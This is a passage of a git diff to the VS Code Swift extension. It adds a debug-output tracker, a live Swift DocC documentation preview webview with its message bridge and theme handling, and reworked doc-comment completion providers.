number) => void + ) { + const loggingDebugAdapter = this.debugSessionIdMap[session.id]; + if (loggingDebugAdapter) { + loggingDebugAdapter.setCallbacks(cb, exitHandler); + for (const o of loggingDebugAdapter.output) { + cb(o); + } + if (loggingDebugAdapter.exitCode) { + exitHandler(loggingDebugAdapter.exitCode); + } + loggingDebugAdapter.output = []; + loggingDebugAdapter.exitCode = undefined; + } else { + logger.error("Could not find debug adapter for session: " + session.id); + } + } + + setCallbacks(handleOutput: (output: string) => void, handleExit: (exitCode: number) => void) { + this.cb = handleOutput; + this.exitHandler = handleExit; + } + + /** + * The debug adapter has sent a Debug Adapter Protocol message to the editor. Check + * it is a output message and is not being sent to the console + */ + onDidSendMessage(message: unknown): void { + const debugMessage = message as DebugMessage; + if (!debugMessage) { + return; + } + + if (debugMessage.event === "exited" && debugMessage.body.exitCode) { + this.exitCode = debugMessage.body.exitCode; + this.exitHandler?.(debugMessage.body.exitCode); + } else if ( + debugMessage.type === "event" && + debugMessage.event === "output" && + debugMessage.body.category !== "console" + ) { + const output = debugMessage.body.output; + if (this.cb) { + this.cb(output); + } else { + this.output.push(output); + } + } + } + + /** + * The debug adapter session is about to be stopped. Delete the session from + * the tracker + */ + onWillStopSession(): void { + delete LoggingDebugAdapterTracker.debugSessionIdMap[this.id]; + } +} diff --git a/src/documentation/DocumentationManager.ts b/src/documentation/DocumentationManager.ts new file mode 100644 index 000000000..82a81d342 --- /dev/null +++ b/src/documentation/DocumentationManager.ts @@ -0,0 +1,69 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { WorkspaceContext } from "../WorkspaceContext"; +import { DocumentationPreviewEditor } from "./DocumentationPreviewEditor"; +import { WebviewContent } from "./webview/WebviewMessage"; + +export class DocumentationManager implements vscode.Disposable { + private previewEditor?: DocumentationPreviewEditor; + private editorUpdatedContentEmitter = new vscode.EventEmitter(); + private editorRenderedEmitter = new vscode.EventEmitter(); + + constructor( + private readonly extension: vscode.ExtensionContext, + private readonly workspaceContext: WorkspaceContext + ) {} + + onPreviewDidUpdateContent = this.editorUpdatedContentEmitter.event; + onPreviewDidRenderContent = this.editorRenderedEmitter.event; + + async launchDocumentationPreview(): Promise { + if (!this.workspaceContext.contextKeys.supportsDocumentationLivePreview) { + return false; + } + + if (!this.previewEditor) { + const folderContext = this.workspaceContext.currentFolder; + if (!folderContext) { + return false; + } + + this.previewEditor = await DocumentationPreviewEditor.create( + this.extension, + this.workspaceContext + ); + const subscriptions: vscode.Disposable[] = [ + this.previewEditor.onDidUpdateContent(content => { + this.editorUpdatedContentEmitter.fire(content); + }), + this.previewEditor.onDidRenderContent(() => { + this.editorRenderedEmitter.fire(); + }), + this.previewEditor.onDidDispose(() => { + subscriptions.forEach(d => d.dispose()); + this.previewEditor = undefined; + }), + ]; + } else { + this.previewEditor.reveal(); + } + return true; + } + + dispose() { + this.previewEditor?.dispose(); + } +} diff --git a/src/documentation/DocumentationPreviewEditor.ts b/src/documentation/DocumentationPreviewEditor.ts new file mode 100644 index 000000000..ea0381a35 --- /dev/null +++ b/src/documentation/DocumentationPreviewEditor.ts @@ -0,0 +1,287 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024-2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs/promises"; +import * as path from "path"; +import * as vscode from "vscode"; +import { LSPErrorCodes, ResponseError } from "vscode-languageclient"; + +import { WorkspaceContext } from "../WorkspaceContext"; +import { DocCDocumentationRequest, DocCDocumentationResponse } from "../sourcekit-lsp/extensions"; +import { RenderNode, WebviewContent, WebviewMessage } from "./webview/WebviewMessage"; + +// eslint-disable-next-line @typescript-eslint/no-require-imports +import throttle = require("lodash.throttle"); + +export enum PreviewEditorConstant { + VIEW_TYPE = "swift.previewDocumentationEditor", + TITLE = "Preview Swift Documentation", + UNSUPPORTED_EDITOR_ERROR_MESSAGE = "The active text editor does not support Swift Documentation Live Preview", +} + +export class DocumentationPreviewEditor implements vscode.Disposable { + static async create( + extension: vscode.ExtensionContext, + context: WorkspaceContext + ): Promise { + const swiftDoccRenderPath = extension.asAbsolutePath( + path.join("assets", "swift-docc-render") + ); + const webviewPanel = vscode.window.createWebviewPanel( + PreviewEditorConstant.VIEW_TYPE, + PreviewEditorConstant.TITLE, + { viewColumn: vscode.ViewColumn.Beside, preserveFocus: true }, + { + enableScripts: true, + localResourceRoots: [ + vscode.Uri.file( + extension.asAbsolutePath( + path.join("node_modules", "@vscode/codicons", "dist") + ) + ), + vscode.Uri.file( + extension.asAbsolutePath(path.join("assets", "documentation-webview")) + ), + vscode.Uri.file(swiftDoccRenderPath), + ...context.folders.map(f => f.folder), + ], + } + ); + webviewPanel.iconPath = { + light: vscode.Uri.file( + extension.asAbsolutePath( + path.join("assets", "icons", "light", "swift-documentation.svg") + ) + ), + dark: vscode.Uri.file( + extension.asAbsolutePath( + path.join("assets", "icons", "dark", "swift-documentation.svg") + ) + ), + }; + const webviewBaseURI = webviewPanel.webview.asWebviewUri( + vscode.Uri.file(swiftDoccRenderPath) + ); + const scriptURI = webviewPanel.webview.asWebviewUri( + vscode.Uri.file( + extension.asAbsolutePath(path.join("assets", "documentation-webview", "index.js")) + ) + ); + let doccRenderHTML = await fs.readFile( + path.join(swiftDoccRenderPath, "index.html"), + "utf-8" + ); + const codiconsUri = webviewPanel.webview.asWebviewUri( + vscode.Uri.file( + extension.asAbsolutePath( + path.join("node_modules", "@vscode/codicons", "dist", "codicon.css") + ) + ) + ); + doccRenderHTML = doccRenderHTML + .replaceAll("{{BASE_PATH}}", webviewBaseURI.toString()) + .replace("", ``) + .replace("", ``); + webviewPanel.webview.html = doccRenderHTML; + return new DocumentationPreviewEditor(context, webviewPanel); + } + + private activeTextEditor?: vscode.TextEditor; + private activeTextEditorSelection?: vscode.Selection; + private subscriptions: vscode.Disposable[] = []; + private isDisposed: boolean = false; + + private disposeEmitter = new vscode.EventEmitter(); + private renderEmitter = new vscode.EventEmitter(); + private updateContentEmitter = new vscode.EventEmitter(); + + private constructor( + private readonly context: WorkspaceContext, + private readonly webviewPanel: vscode.WebviewPanel + ) { + this.activeTextEditor = vscode.window.activeTextEditor; + this.subscriptions.push( + this.webviewPanel.webview.onDidReceiveMessage(this.receiveMessage, this), + vscode.window.onDidChangeActiveTextEditor(this.handleActiveTextEditorChange, this), + vscode.window.onDidChangeTextEditorSelection(this.handleSelectionChange, this), + vscode.workspace.onDidChangeTextDocument(this.handleDocumentChange, this), + this.webviewPanel.onDidDispose(this.dispose, this) + ); + this.reveal(); + } + + /** An event that is fired when the Documentation Preview Editor is disposed */ + onDidDispose = this.disposeEmitter.event; + + /** An event that is fired when the Documentation Preview Editor updates its content */ + onDidUpdateContent = this.updateContentEmitter.event; + + /** An event that is fired when the Documentation Preview Editor renders its content */ + onDidRenderContent = this.renderEmitter.event; + + reveal() { + // Reveal the editor, but don't change the focus of the active text editor + this.webviewPanel.reveal(undefined, true); + } + + dispose() { + this.isDisposed = true; + this.subscriptions.forEach(subscription => subscription.dispose()); + this.subscriptions = []; + this.webviewPanel.dispose(); + this.disposeEmitter.fire(); + } + + private postMessage(message: WebviewMessage) { + if (this.isDisposed) { + return; + } + if (message.type === "update-content") { + this.updateContentEmitter.fire(message.content); + } + void this.webviewPanel.webview.postMessage(message); + } + + private receiveMessage(message: WebviewMessage) { + switch (message.type) { + case "loaded": + if (!this.activeTextEditor) { + break; + } + void this.convertDocumentation(this.activeTextEditor); + break; + case "rendered": + this.renderEmitter.fire(); + break; + } + } + + private handleActiveTextEditorChange(activeTextEditor: vscode.TextEditor | undefined) { + if (this.activeTextEditor === activeTextEditor || activeTextEditor === undefined) { + return; + } + this.activeTextEditor = activeTextEditor; + this.activeTextEditorSelection = activeTextEditor.selection; + void this.convertDocumentation(activeTextEditor); + } + + private handleSelectionChange(event: vscode.TextEditorSelectionChangeEvent) { + if ( + this.activeTextEditor !== event.textEditor || + this.activeTextEditorSelection === event.textEditor.selection + ) { + return; + } + this.activeTextEditorSelection = event.textEditor.selection; + void this.convertDocumentation(event.textEditor); + } + + private handleDocumentChange(event: vscode.TextDocumentChangeEvent) { + if (this.activeTextEditor?.document === event.document) { + void this.convertDocumentation(this.activeTextEditor); + } + } + + private convertDocumentation = throttle( + async (textEditor: vscode.TextEditor): Promise => { + const document = textEditor.document; + if ( + document.uri.scheme !== "file" || + !["markdown", "tutorial", "swift"].includes(document.languageId) + ) { + this.postMessage({ + type: "update-content", + content: { + type: "error", + errorMessage: PreviewEditorConstant.UNSUPPORTED_EDITOR_ERROR_MESSAGE, + }, + }); + return; + } + + const folderContext = this.context.folders.find(folderContext => + document.uri.fsPath.startsWith(folderContext.folder.fsPath) + ); + + if (!folderContext) { + return; + } + + const languageClientManager = this.context.languageClientManager.get(folderContext); + try { + const response = await languageClientManager.useLanguageClient( + async (client): Promise => { + return await client.sendRequest(DocCDocumentationRequest.type, { + textDocument: { + uri: document.uri.toString(), + }, + position: textEditor.selection.start, + }); + } + ); + this.postMessage({ + type: "update-content", + content: { + type: "render-node", + renderNode: this.parseRenderNode(response.renderNode), + }, + }); + } catch (error) { + // Update the preview editor to reflect what error occurred + let livePreviewErrorMessage = "An internal error occurred"; + const baseLogErrorMessage = `SourceKit-LSP request "${DocCDocumentationRequest.method}" failed: `; + if (error instanceof ResponseError) { + if (error.code === LSPErrorCodes.RequestCancelled) { + // We can safely ignore cancellations + return undefined; + } + switch (error.code) { + case LSPErrorCodes.RequestFailed: + // RequestFailed response errors can be shown to the user + livePreviewErrorMessage = error.message; + break; + default: + // We should log additional info for other response errors + this.context.logger.error( + baseLogErrorMessage + JSON.stringify(error.toJson(), undefined, 2) + ); + break; + } + } else { + this.context.logger.error(baseLogErrorMessage + `${error}`); + } + this.postMessage({ + type: "update-content", + content: { + type: "error", + errorMessage: livePreviewErrorMessage, + }, + }); + } + }, + 100 /* 10 times per second */, + { trailing: true } + ); + + private parseRenderNode(content: string): RenderNode { + const renderNode: RenderNode = JSON.parse(content); + for (const referenceKey of Object.getOwnPropertyNames(renderNode.references)) { + const reference = renderNode.references[referenceKey]; + for (const variant of reference.variants ?? []) { + const uri = vscode.Uri.parse(variant.url).with({ scheme: "file" }); + variant.url = this.webviewPanel.webview.asWebviewUri(uri).toString(); + } + } + return renderNode; + } +} diff --git a/src/documentation/webview/CommunicationBridge.ts b/src/documentation/webview/CommunicationBridge.ts new file mode 100644 index 000000000..5d6e21a52 --- /dev/null +++ b/src/documentation/webview/CommunicationBridge.ts @@ -0,0 +1,119 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { Disposable } from "./Disposable"; + +/** + * Sends and receives messages from swift-docc-render + */ +export interface CommunicationBridge { + send(message: VueAppMessage): void; + onDidReceiveMessage(handler: (message: VueAppMessage) => void): Disposable; +} + +/** + * Creates a {@link CommunicationBridge} that can send and receive messages from + * swift-docc-render. Waits for swift-docc-render to be initialized before resolving. + * + * This must be kept up to date with src/plugins/CommunicationBridge.js in swift-docc-render. + * + * @returns A promise that resolves to the created CommunicationBridge + */ +export function createCommunicationBridge(): Promise { + if ("webkit" in window) { + throw new Error("A CommunicationBridge has already been established"); + } + + return new Promise((resolve, reject) => { + try { + // Define the window.webkit property in order to receive messages + const messageHandlers: Set<(message: VueAppMessage) => void> = new Set(); + Object.defineProperty(window, "webkit", { + value: { + messageHandlers: { + bridge: { + postMessage(message: VueAppMessage) { + messageHandlers.forEach(handler => handler(message)); + }, + }, + }, + }, + writable: false, + }); + + // Wait for the window.bridge property to be set in order to send messages + let windowBridge: unknown; + Object.defineProperty(window, "bridge", { + get() { + return windowBridge; + }, + set(value) { + windowBridge = value; + resolve({ + send(message) { + value.receive(message); + }, + onDidReceiveMessage(handler): Disposable { + messageHandlers.add(handler); + return { + dispose() { + messageHandlers.delete(handler); + }, + }; + }, + }); + }, + }); + } catch (error) { + reject(error); + } + }); +} + +/** + * Represents a message that can be sent between the webview and swift-docc-render + */ +export type VueAppMessage = RenderedMessage | NavigationMessage | UpdateContentMessage; + +/** + * Sent from swift-docc-render to the webview when content as been rendered + * to the screen. + */ +export interface RenderedMessage { + type: "rendered"; +} + +/** + * Sent from the webview to swift-docc-render to navigate to a given page. + * + * This will only work once due to limitations in VS Code WebViews. You will + * need to send an {@link UpdateContentMessage} after the first render to + * switch pages. + */ +export interface NavigationMessage { + type: "navigation"; + data: string; +} + +/** + * Sent from the webview to swift-docc-render to update the page content. + * + * The data comes from the JSON files found in the "data" subdirectory + * of the documentation archive. This must first be parsed into a + * JavaScript object before sending. Raw strings will not be parsed + * automatically. + */ +export interface UpdateContentMessage { + type: "contentUpdate"; + data: unknown; +} diff --git a/src/documentation/webview/Disposable.ts b/src/documentation/webview/Disposable.ts new file mode 100644 index 000000000..e8e76b9cc --- /dev/null +++ b/src/documentation/webview/Disposable.ts @@ -0,0 +1,17 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +export interface Disposable { + dispose(): void; +} diff --git a/src/documentation/webview/ErrorMessage.ts b/src/documentation/webview/ErrorMessage.ts new file mode 100644 index 000000000..f5809e037 --- /dev/null +++ b/src/documentation/webview/ErrorMessage.ts @@ -0,0 +1,70 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +export class ErrorMessage { + private readonly containerElement: HTMLDivElement; + private readonly iconElement: HTMLSpanElement; + private readonly messageElement: HTMLSpanElement; + + constructor() { + this.containerElement = createContainer(); + this.iconElement = createIcon(); + this.messageElement = createMessage(); + this.containerElement.appendChild(this.iconElement); + this.containerElement.appendChild(this.messageElement); + window.document.body.appendChild(this.containerElement); + } + + show(message: string) { + this.messageElement.textContent = message; + this.containerElement.style.display = "flex"; + } + + hide() { + this.containerElement.style.display = "none"; + } +} + +function createContainer(): HTMLDivElement { + const containerElement = document.createElement("div"); + containerElement.style.backgroundColor = "var(--vscode-editor-background)"; + containerElement.style.color = "var(--vscode-foreground)"; + containerElement.style.fontFamily = "var(--vscode-font-family)"; + containerElement.style.fontWeight = "var(--vscode-font-weight)"; + containerElement.style.width = "100%"; + containerElement.style.height = "100%"; + containerElement.style.display = "none"; + containerElement.style.gap = "10px"; + containerElement.style.flexDirection = "column"; + containerElement.style.alignItems = "center"; + containerElement.style.justifyContent = "center"; + containerElement.style.position = "absolute"; + containerElement.style.top = "0"; + containerElement.style.left = "0"; + return containerElement; +} + +function createIcon(): HTMLSpanElement { + const iconElement = document.createElement("span"); + iconElement.className = "codicon codicon-error"; + iconElement.style.color = "var(--vscode-editorError-foreground)"; + iconElement.style.fontSize = "48px"; + return iconElement; +} + +function createMessage(): HTMLSpanElement { + const messageElement = document.createElement("span"); + messageElement.style.fontSize = "14px"; + return messageElement; +} diff --git a/src/documentation/webview/ThemeObserver.ts b/src/documentation/webview/ThemeObserver.ts new file mode 100644 index 000000000..45af75965 --- /dev/null +++ b/src/documentation/webview/ThemeObserver.ts @@ -0,0 +1,61 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +export class ThemeObserver { + private readonly body: HTMLElement; + private readonly observer: MutationObserver; + + constructor() { + this.body = document.body; + this.observer = new MutationObserver(mutationsList => { + for (const mutation of mutationsList) { + if (mutation.type === "attributes" && mutation.attributeName === "class") { + this.updateTheme(); + } + } + }); + } + + /** + * Updates the `data-color-scheme` attribute on based on the + * current VS Code theme. + */ + updateTheme() { + if (this.body.classList.contains("vscode-dark")) { + this.body.setAttribute("data-color-scheme", "dark"); + } else if (this.body.classList.contains("vscode-light")) { + this.body.setAttribute("data-color-scheme", "light"); + } else if (this.body.classList.contains("vscode-high-contrast")) { + if (this.body.classList.contains("vscode-high-contrast-light")) { + this.body.setAttribute("data-color-scheme", "light"); + } else { + this.body.setAttribute("data-color-scheme", "dark"); + } + } + } + + /** Begin listening for theme updates. */ + start() { + this.observer.observe(this.body, { + attributes: true, + subtree: false, + attributeFilter: ["class"], + }); + } + + /** Stop listening for theme updates. */ + stop() { + this.observer.disconnect(); + } +} diff --git a/src/documentation/webview/WebviewMessage.ts b/src/documentation/webview/WebviewMessage.ts new file mode 100644 index 000000000..efc991a10 --- /dev/null +++ b/src/documentation/webview/WebviewMessage.ts @@ -0,0 +1,89 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +/** + * Represents a message that can be sent between the webview and vscode-swift + */ +export type WebviewMessage = LoadedMessage | RenderedMessage | UpdateContentMessage; + +/** + * Sent from the webview to the extension to indicate that the webview has loaded + * and is ready to receive messages. + */ +export interface LoadedMessage { + type: "loaded"; +} + +/** + * Sent from the webview to the extension to indicate that content has been + * rendered to the screen. + */ +export interface RenderedMessage { + type: "rendered"; +} + +/** + * Sent from the extension to the webview to update its contents. The data + * format is the same as DocC's JSON index. + * + * Automatically removes any other loading/error messages. + * + * This must be sent AFTER the webview has done at least one render. + */ +export interface UpdateContentMessage { + type: "update-content"; + content: WebviewContent; +} + +export type WebviewContent = RenderNodeContent | ErrorContent; + +export interface RenderNodeContent { + type: "render-node"; + renderNode: RenderNode; +} + +export interface ErrorContent { + type: "error"; + errorMessage: string; +} + +/** + * A Swift DocC render node that represents a single page of documentation. + * + * In order to maintain maximum compatibility this interface only exposes the bare minimum + * that we need to support live preview. This interface must be kept up to date with + * https://github.com/swiftlang/swift-docc/blob/main/Sources/SwiftDocC/Model/Rendering/RenderNode.swift + */ +export interface RenderNode { + schemaVersion: { + major: number; + minor: number; + patch: number; + }; + + kind: "symbol" | "article" | "tutorial" | "project" | "section" | "overview"; + + identifier: { + url: string; + interfacedLanguage: string; + }; + + references: { + [key: string]: { + variants?: { + url: string; + }[]; + }; + }; +} diff --git a/src/documentation/webview/tsconfig.json b/src/documentation/webview/tsconfig.json new file mode 100644 index 000000000..e2c44ef23 --- /dev/null +++ b/src/documentation/webview/tsconfig.json @@ -0,0 +1,8 @@ +{ + "extends": "../../../tsconfig-base.json", + "compilerOptions": { + "esModuleInterop": true, + "lib": ["ES2021", "DOM"] + }, + "include": ["**/*"] +} diff --git a/src/documentation/webview/webview.ts b/src/documentation/webview/webview.ts new file mode 100644 index 000000000..638253593 --- /dev/null +++ b/src/documentation/webview/webview.ts @@ -0,0 +1,160 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024-2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable @typescript-eslint/no-floating-promises */ +import { createCommunicationBridge } from "./CommunicationBridge"; +import { ErrorMessage } from "./ErrorMessage"; +import { ThemeObserver } from "./ThemeObserver"; +import { RenderNode, WebviewContent, WebviewMessage } from "./WebviewMessage"; + +// Remove VS Code's default styles as they conflict with swift-docc-render +document.getElementById("_defaultStyles")?.remove(); + +// Hook up the automatic theme switching +const themeObserver = new ThemeObserver(); +themeObserver.updateTheme(); +themeObserver.start(); + +// Disable clicking on links as they do not work +const disableLinks = document.createElement("style"); +disableLinks.textContent = `a { + pointer-events: none; +}`; +document.head.appendChild(disableLinks); + +// Set up the communication bridges to VS Code and swift-docc-render +createCommunicationBridge().then(async bridge => { + const vscode = acquireVsCodeApi(); + let activeDocumentationPath: string | undefined; + let contentToApplyOnRender: RenderNode | undefined; + + // An HTML element that displays an error message to the user + const errorMessage = new ErrorMessage(); + + // Handle messages coming from swift-docc-render + bridge.onDidReceiveMessage(message => { + switch (message.type) { + case "rendered": + if (contentToApplyOnRender) { + setTimeout(() => { + bridge.send({ type: "contentUpdate", data: contentToApplyOnRender }); + contentToApplyOnRender = undefined; + }, 1); + break; + } + vscode.postMessage({ type: "rendered" }); + break; + } + }); + + // Handle messages coming from vscode-swift + window.addEventListener("message", event => { + if (typeof event.data !== "object" || !("type" in event.data)) { + return; + } + + const message = event.data as WebviewMessage; + switch (message.type) { + case "update-content": + handleUpdateContentMessage(message.content); + break; + } + }); + function handleUpdateContentMessage(content: WebviewContent) { + if (content.type === "render-node") { + hideErrorMessage(); + const renderNode = content.renderNode; + const documentationPath: string = (() => { + switch (renderNode.kind) { + case "symbol": + case "article": + return "/live/documentation"; + case "overview": + return "/live/tutorials-overview"; + default: + return "/live/tutorials"; + } + })(); + if (activeDocumentationPath !== documentationPath) { + activeDocumentationPath = documentationPath; + contentToApplyOnRender = renderNode; + bridge.send({ + type: "navigation", + data: documentationPath, + }); + } else { + bridge.send({ type: "contentUpdate", data: renderNode }); + } + } else { + showErrorMessage(content.errorMessage); + vscode.postMessage({ type: "rendered" }); + } + } + + function showErrorMessage(message: string) { + const app = window.document.getElementById("app"); + if (app) { + app.style.display = "none"; + } + errorMessage.show(message); + } + + function hideErrorMessage() { + const app = window.document.getElementById("app"); + if (app) { + app.style.display = "block"; + } + errorMessage.hide(); + } + + // Notify vscode-swift that we're ready to receive messages + vscode.postMessage({ type: "loaded" }); +}); + +declare global { + /** + * An API provided by VS Code used to retrieve/store state and communicate with + * the extension that created this WebView. + */ + interface VSCodeWebviewAPI { + /** + * Get the current state of this WebView. + * + * Used in combination with {@link setState} to retain state even if this WebView is hidden. + * + * @returns the current value of the state + */ + getState(): unknown | undefined; + + /** + * Set the current state of this Webview. + * + * Used in combination with {@link getState} to retain state even if this WebView is hidden. + * + * @param value the current value of the state + */ + setState(value: unknown): void; + + /** + * Send an event to the extension that created this WebView. + * + * @param event the {@link WebviewMessage} that will be sent + */ + postMessage(event: WebviewMessage): void; + } + + /** + * Get the {@link VSCodeWebviewAPI} provided to this WebView by VS Code. + */ + function acquireVsCodeApi(): VSCodeWebviewAPI; +} diff --git a/src/editor/CommentCompletion.ts b/src/editor/CommentCompletion.ts index c61df17ad..495efd595 100644 --- a/src/editor/CommentCompletion.ts +++ b/src/editor/CommentCompletion.ts @@ -1,20 +1,25 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { DocumentParser } from "./DocumentParser"; +function isLineComment(document: vscode.TextDocument, line: number): boolean { + // test if line consists of just '///' + return /^\s*\/\/\//.test(document.lineAt(line).text); +} + /** CompletionItem for Swift Comments */ class CommentCompletion extends vscode.CompletionItem { constructor( @@ -34,29 +39,49 @@ class CommentCompletion extends vscode.CompletionItem { * CompletionItem Provider that provides "///" on pressing return if previous line * contained a "///" documentation comment. */ -class CommentCompletionProvider implements vscode.CompletionItemProvider { +class DocCommentCompletionProvider implements vscode.CompletionItemProvider { public async provideCompletionItems( document: vscode.TextDocument, position: vscode.Position ): Promise { // Is line a '///' comment - if (this.isLineComment(document, position.line - 1) === false) { + if ( + position.line === 0 || + document.isClosed || + isLineComment(document, position.line - 1) === false + ) { return undefined; } - const completion = new CommentCompletion("/// ", "///", "Documentation comment"); - return [completion]; + await this.continueExistingDocCommentBlock(document, position); + return [new CommentCompletion("/// ", "///", "Documentation comment")]; } - private isLineComment(document: vscode.TextDocument, line: number): boolean { - // test if line starts with '///' - if (/^\s*\/\/\//.test(document.lineAt(line).text)) { - return true; + private async continueExistingDocCommentBlock( + document: vscode.TextDocument, + position: vscode.Position + ) { + // Fixes https://github.com/swiftlang/vscode-swift/issues/1648 + const lineText = document.lineAt(position.line).text; + // Continue the comment if its a white space only line, or if VS Code has already continued + // the comment by adding a // on the new line. + const match = + lineText.trim().length === 0 + ? [lineText, lineText, ""] + : /^(\s*)\/\/\s(.+)/.exec(lineText); + if (match) { + const edit = new vscode.WorkspaceEdit(); + edit.replace( + document.uri, + new vscode.Range(position.line, 0, position.line, match[0].length), + `${match[1]}/// ${match[2]}` + ); + await vscode.workspace.applyEdit(edit); } - return false; } } interface FunctionDetails { + indent: number; parameters: string[]; returns: boolean; throws: boolean; @@ -72,19 +97,23 @@ class FunctionDocumentationCompletionProvider implements vscode.CompletionItemPr position: vscode.Position ): Promise { // Is line a '///' comment - const isComment = this.isLineComment(document, position.line); + const isComment = isLineComment(document, position.line); if (isComment === false) { return undefined; } // is it above function definition - const details = this.getFunctionDetails(document, position); + const funcPosition = new vscode.Position(position.line + 1, 0); + const details = this.getFunctionDetails(document, funcPosition); if (details) { - if (details.parameters.length === 0 && details.returns === false) { + if ( + details.parameters.length === 0 && + details.returns === false && + details.throws === false + ) { return undefined; } - const snippetString = this.constructSnippetString(details); - const snippet = new vscode.SnippetString(snippetString); + const snippet = this.constructSnippet(details, false); const completion = new CommentCompletion( snippet, "/// - parameters:", @@ -96,12 +125,20 @@ class FunctionDocumentationCompletionProvider implements vscode.CompletionItemPr return undefined; } - private isLineComment(document: vscode.TextDocument, line: number): boolean { - // test if line consists of just '///' - if (/^\s*\/\/\/\s*$/.test(document.lineAt(line).text)) { - return true; + /** + * Insert function header comment text snippet + * @param editor text editor to edit + * @param line line number of function + */ + async insert(editor: vscode.TextEditor, line: number) { + const position = new vscode.Position(line, 0); + const document = editor.document; + const details = this.getFunctionDetails(document, position); + if (details) { + const snippet = this.constructSnippet(details, true); + const insertPosition = new vscode.Position(line, details.indent); + await editor.insertSnippet(snippet, insertPosition); } - return false; } /** @@ -112,8 +149,8 @@ class FunctionDocumentationCompletionProvider implements vscode.CompletionItemPr document: vscode.TextDocument, position: vscode.Position ): FunctionDetails | null { - const parser = new DocumentParser(document, new vscode.Position(position.line + 1, 0)); - if (!parser.match(/(?:func|init)/)) { + const parser = new DocumentParser(document, position); + if (!parser.match(/\b(?:func|init)\b(?=[^{]*\{)/)) { return null; } const funcName = parser.match(/^([^(<]*)\s*(\(|<)/); @@ -158,20 +195,31 @@ class FunctionDocumentationCompletionProvider implements vscode.CompletionItemPr } if (mark[0] === "throws") { throws = true; + + // Check for a type annotation on the throw i.e. throws(MyError) + parser.match(/^\s*(\(.*\))/); } } // if we find a `->` then function returns a value const returns = parser.match(/^\s*->/) !== null; // read function return { + indent: document.lineAt(position.line).firstNonWhitespaceCharacterIndex, parameters: parameters, returns: returns, throws: throws, }; } - private constructSnippetString(details: FunctionDetails): string { - let string = " $1"; + private constructSnippet( + details: FunctionDetails, + completeSnippet: boolean + ): vscode.SnippetString { + let string = ""; + if (completeSnippet) { + string += "/// "; + } + string += " $1"; let snippetIndex = 2; if (details.parameters.length === 1) { string += `\n/// - Parameter ${details.parameters[0]}: $${snippetIndex}`; @@ -183,32 +231,55 @@ class FunctionDocumentationCompletionProvider implements vscode.CompletionItemPr snippetIndex++; } } - /*if (details.throws) { + if (details.throws) { string += `\n/// - Throws: $${snippetIndex}`; snippetIndex++; - }*/ + } if (details.returns) { string += `\n/// - Returns: $${snippetIndex}`; } - return string; + if (completeSnippet) { + string += "\n"; + } + return new vscode.SnippetString(string); } } -export function register(): vscode.Disposable { - const functionCommentCompletion = vscode.languages.registerCompletionItemProvider( - "swift", - new FunctionDocumentationCompletionProvider(), - "/" - ); - const commentCompletion = vscode.languages.registerCompletionItemProvider( - "swift", - new CommentCompletionProvider(), - "\n" - ); - return { - dispose: () => { - functionCommentCompletion.dispose(); - commentCompletion.dispose(); - }, - }; +/** + * Interface to comment completion providers + */ +export class CommentCompletionProviders implements vscode.Disposable { + functionCommentCompletion: FunctionDocumentationCompletionProvider; + docCommentCompletion: DocCommentCompletionProvider; + functionCommentCompletionProvider: vscode.Disposable; + docCommentCompletionProvider: vscode.Disposable; + + constructor() { + this.functionCommentCompletion = new FunctionDocumentationCompletionProvider(); + this.functionCommentCompletionProvider = vscode.languages.registerCompletionItemProvider( + "swift", + this.functionCommentCompletion, + "/" + ); + 